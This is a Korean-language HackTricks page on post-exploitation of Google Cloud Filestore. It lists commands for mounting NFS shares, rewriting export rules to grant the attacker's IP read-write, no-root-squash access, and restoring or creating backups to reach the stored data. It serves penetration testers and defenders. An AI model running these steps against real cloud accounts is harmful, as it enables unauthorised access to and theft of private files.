GCP - Filestore Post Exploitation

Support HackTricks

Filestore

Filestore에 대한 자세한 정보는 다음을 확인하세요:

GCP - Filestore Enum

Mount Filestore

공유 파일 시스템은 공격자의 관점에서 흥미로운 민감한 정보를 포함할 수 있습니다. Filestore에 접근하면 마운트할 수 있습니다:

sudo apt-get update
sudo apt-get install nfs-common
# Check the share name
showmount -e <IP>
# Mount the share
mkdir /mnt/fs
sudo mount [FILESTORE_IP]:/[FILE_SHARE_NAME] /mnt/fs

파일스토어 인스턴스의 IP 주소를 찾으려면 페이지의 열거 섹션을 확인하세요:

GCP - Filestore Enum

제한 제거 및 추가 권한 얻기

공격자가 공유에 대한 액세스가 있는 IP 주소에 있지 않지만 이를 수정할 수 있는 충분한 권한이 있는 경우, 제한을 제거하거나 이에 대한 액세스를 얻는 것이 가능합니다. 또한, 공유에 대한 관리자 액세스를 얻기 위해 IP 주소에 더 많은 권한을 부여하는 것도 가능합니다:

gcloud filestore instances update nfstest \
--zone=<exact-zone> \
--flags-file=nfs.json

# Contents of nfs.json
{
"--file-share":
{
"capacity": "1024",
"name": "<share-name>",
"nfs-export-options": [
{
"access-mode": "READ_WRITE",
"ip-ranges": [
"<your-ip-private-address>/32"
],
"squash-mode": "NO_ROOT_SQUASH",
"anon_uid": 1003,
"anon_gid": 1003
}
]
}
}

Restore a backup

백업이 있는 경우, 기존 인스턴스나 새 인스턴스에서 복원할 수 있어 정보에 접근할 수 있게 됩니다:

# Create a new filestore if you don't want to modify the old one
gcloud filestore instances create <new-instance-name> \
--zone=<zone> \
--tier=STANDARD \
--file-share=name=vol1,capacity=1TB \
--network=name=default,reserved-ip-range=10.0.0.0/29

# Restore a backups in a new instance
gcloud filestore instances restore <new-instance-name> \
--zone=<zone> \
--file-share=<instance-file-share-name> \
--source-backup=<backup-name> \
--source-backup-region=<backup-region>

# Follow the previous section commands to mount it

백업 생성 및 복원

공유에 대한 액세스 권한이 없고 수정하고 싶지 않은 경우, 백업생성하고 이전에 언급한 대로 복원하는 것이 가능합니다:

# Create share backup
gcloud filestore backups create <back-name> \
--region=<region> \
--instance=<instance-name> \
--instance-zone=<instance-zone> \
--file-share=<share-name>

# Follow the previous section commands to restore it and mount it
HackTricks 지원하기

Last updated